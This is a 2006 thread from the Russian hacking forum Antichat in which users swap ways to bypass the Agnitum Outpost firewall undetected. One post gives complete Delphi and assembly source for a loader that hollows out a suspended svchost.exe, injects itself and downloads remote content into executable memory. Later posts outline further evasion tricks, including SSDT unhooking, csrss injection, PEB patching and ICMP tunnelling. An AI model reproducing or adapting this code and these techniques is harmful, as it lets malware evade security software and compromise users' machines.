Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   С/С++, C#, Delphi, .NET, Asm (https://forum.antichat.xyz/forumdisplay.php?f=24)
-   -   обход agnituma (https://forum.antichat.xyz/showthread.php?t=18521)

asm33 02.05.2006 20:38

обход agnituma
 
народ, у кого есть идеи как обойти agnitum outpost,
желательно без палева.

tip4ik 03.05.2006 17:33

у меня: последний никак
(не долго же ты рылся по форуму...)

x-ultra-x 24.05.2006 17:10

глянь сюда - http://wasm.ru/article.php?article=fwb

asm33 01.06.2006 22:33

статейка интересна. Гемор обеспечен, но по моему в версии 3.5 эта штука исправлена.
по моему легче просто грохнуть приложение с его сервисом

W!z@rD 02.06.2006 03:34

ага... как только попытаешься он тя блокирует + выдает сообщение

Ник 06.06.2006 18:20

А что, старый добрый способ отменили?
{
Firewall Fucker - пример обхода фаерволла.
Copyright by Ms-Rem (Ms-Rem@yandex.ru) ICQ 286370715
}
program FireFuck;

uses
Windows, WinSock;

{$IMAGEBASE $13140000}

{ Определение положения подстроки в строке }
Function MyPos(Substr, Str: PChar): dword; stdcall;
asm
mov eax, Substr
mov edx, str
test eax, eax
je @noWork
test edx, edx
je @stringEmpty
push ebx
push esi
push edi
mov esi, eax
mov edi, edx
push eax
push edx
call lstrlen
mov ecx, eax
pop eax
push edi
push eax
push eax
call lstrlen
mov edx, eax
pop eax
dec edx
js @fail
mov al, [esi]
inc esi
sub ecx, edx
jle @fail

@loop:
repne scasb
jne @fail
mov ebx, ecx
push esi
push edi
mov ecx, edx
repe cmpsb
pop edi
pop esi
je @found
mov ecx, ebx
jmp @loop

@fail:
pop edx
xor eax, eax
jmp @exit

@stringEmpty:
xor eax, eax
jmp @noWork

@found:
pop edx
mov eax, edi
sub eax, edx

@exit:
pop edi
pop esi
pop ebx

@noWork:
end;

{ Копирование строк }
Function MyCopy(S:PChar; Index, Count: Dword): PChar; stdcall;
asm
mov eax, Count
inc eax
push eax
push LPTR
call LocalAlloc
mov edi, eax
mov ecx, Count
mov esi, S
add esi, Index
dec esi
rep movsb
end;

{ Копирование участка памяти }
procedure MyCopyMemory(Destination: Pointer; Source: Pointer; Length: DWORD);
asm
push ecx
push esi
push edi
mov esi, Source
mov edi, Destination
mov ecx, Length
rep movsb
pop edi
pop esi
pop ecx
end;


Function DownloadFile(Address: PChar; var ReturnSize: dword): pointer;
var
Buffer: pointer;
BufferLength: dword;
BufferUsed: dword;
Bytes: integer;
Header: PChar;
Site: PChar;
URL: PChar;
FSocket: integer;
SockAddrIn: TSockAddrIn;
HostEnt: PHostEnt;
Str: PChar;
WSAData: TWSAData;
hHeap: dword;
begin
Result := nil;
hHeap := GetProcessHeap();
WSAStartup(257, WSAData);
Site := MyCopy(Address, 1, MyPos('/', Address) - 1);
URL := MyCopy(Address, MyPos('/', Address), lstrlen(Address) - MyPos('/', Address) + 1);
Buffer := HeapAlloc(hHeap, 0, 1024);
try
BufferLength := 1024;
BufferUsed := 0;
FSocket := socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
SockAddrIn.sin_family := AF_INET;
SockAddrIn.sin_port := htons(80);
SockAddrIn.sin_addr.s_addr := inet_addr(Site);
if SockAddrIn.sin_addr.s_addr = INADDR_NONE then
begin
HostEnt := gethostbyname(Site);
if HostEnt = nil then Exit;
SockAddrIn.sin_addr.s_addr := Longint(PLongint(HostEnt^.h_addr_list^)^);
end;
if Connect(FSocket, SockAddrIn, SizeOf(SockAddrIn)) = -1 then Exit;
Str := HeapAlloc(hHeap, 0, 1024);
lstrcpy(Str, 'GET ');
lstrcat(Str, URL);
lstrcat(Str, ' HTTP/1.0'#10#13'Host: ');
lstrcat(Str, Site);
lstrcat(Str, #13#10'Connection: close'#13#10#13#10);
send(FSocket, Str^, lstrlen(Str), 0);
HeapFree(hHeap, 0, Str);
repeat
if BufferLength - BufferUsed < 1024 then
begin
Inc(BufferLength, 1024);
Buffer := HeapReAlloc(hHeap, 0, Buffer, BufferLength);
end;
Bytes := recv(FSocket, pointer(dword(Buffer) + BufferUsed)^, 1024, 0);
if Bytes > 0 then Inc(BufferUsed, Bytes);
until (Bytes = 0) or (Bytes = SOCKET_ERROR);
Header := MyCopy(Buffer, 1, MyPos(#13#10#13#10, Buffer) + 3);
ReturnSize := BufferUsed - lstrlen(header);
Result := VirtualAlloc(nil, ReturnSize, MEM_COMMIT or
MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if Result = nil then Exit;
MyCopyMemory(Result, pointer(dword(Buffer) + lstrlen(header)), ReturnSize);
finally
HeapFree(hHeap, 0, Buffer);
end;
end;

{ процедура выполняющаяся в контексте доверенного приложения }
Procedure Download(); stdcall;
const
URL : PChar = 'forum.antichat.ru/newreply.php?do=newreply&p=146170';
var
Buff: pointer;
Size: dword;
Bytes: dword;
dFile: dword;
begin
LoadLibrary('wsock32.dll');
Buff := DownloadFile(URL, Size);
dFile := CreateFile('1.htm', GENERIC_WRITE, 0, nil, CREATE_NEW, 0, 0);
WriteFile(dFile, Buff^, Size, Bytes, nil);
CloseHandle(dFile);
ExitProcess(0);
end;


var
St: TStartupInfo;
Pr: TProcessInformation;
InjectSize: dword;
Code: pointer;
Injected: pointer;
BytesWritten: dword;
Context: _CONTEXT;

begin
ZeroMemory(@St, SizeOf(TStartupInfo));
St.cb := SizeOf(TStartupInfo);
St.wShowWindow := SW_SHOW;
//запускаем процесс, которому разрешено лезть на 80 порт
CreateProcess(nil, 'svchost.exe', nil, nil, false,
CREATE_SUSPENDED, nil, nil, St, Pr);
Code := pointer(GetModuleHandle(nil));
InjectSize := PImageOptionalHeader(pointer(integer(Code) +
PImageDosHeader(Code)._lfanew +
SizeOf(dword) +
SizeOf(TImageFileHeader))).SizeOfImage;
//выделяем память в процессе
Injected := VirtualAllocEx(Pr.hProcess, Code, InjectSize, MEM_COMMIT or
MEM_RESERVE, PAGE_EXECUTE_READWRITE);
//внедряем код
WriteProcessMemory(Pr.hProcess, Injected, Code, InjectSize, BytesWritten);
//изменяем контекст нити
Context.ContextFlags := CONTEXT_FULL;
GetThreadContext(Pr.hThread, Context);
Context.Eip := dword(@Download);
SetThreadContext(Pr.hThread, Context);
//запускаем процесс
ResumeThread(Pr.hThread);
end.

3er0 09.06.2006 01:58

Цитата:

Сообщение от asm33
народ, у кого есть идеи как обойти agnitum outpost

Тунелирование ICMP пакаетами.

Cr4sh 13.06.2006 02:06

Цитата:

народ, у кого есть идеи как обойти agnitum outpost
к сожалению, АБСОЛЮТНО ВСЕ существующие методы обхода базируюцаа на безпалевном инжекте в пердположительно доверенный процесс. У меня была идея написать драйвер, который будет работать напрямую с NDIS, предварительно найдя оригинальные адресса соотв ф-ций (оутпост их хукает ессесно) так что если есть желание/знания - вперёд, геморроя думаю здесь будет намного меньше чем кажеццо

Цитата:

Тунелирование ICMP пакаетами.
=)))

W!z@rD 13.06.2006 05:09

В общем тут такое дело:
1. Запуск доверенного процесса и соответственно через него и делать все что угодно. Способ хороший, НО!!! Outpost среагирует: минимум - сообщением "Запуск скрытого процесса", в другом случае это "Процесс xxx.exe облокирован" изменения в памяти процесса и т.д.
2. Dll-injection :D Ну тут слов нет все равно словит. читай 1 пункт 2 случай.
3. RAW Sockets, тут отдельная речь... Короче все равно поймает.

По моему единственный вариант это: Грузить приложение до Outposta и вырубать процесс... Почему не внести изменения? Outpost проверяет себя и компоненты на наличие Adware/Spyware и CRC...

Не знаю я не опытный кодер (да и в протоколах не очень...) по этому еще куча способов... На мой взгляд.

Cr4sh 13.06.2006 05:29

W!z@rD:
1, 2 - контроль памяти процессов довольно просто обходицца напр. снятием хуков с SST или инжектом через csrss в два прыжка, контроль компонентов лечиццо правкой PEB
короче эти способы работают без проблем, но только при наличии возможности инжекта в доверенный процесс, да и вообще попса и старьё, нужно что-нибудь новое и более координальное)
3. равсокеты дефолтно запрещены

убивать оутпост - просто глупо и некрасиво, да и слишком палевно к тому же (а про геморройность данного яспособа я вообще молчу - из юзермоде ты сервис оутпоста не грохнешь 100%)


Время: 10:40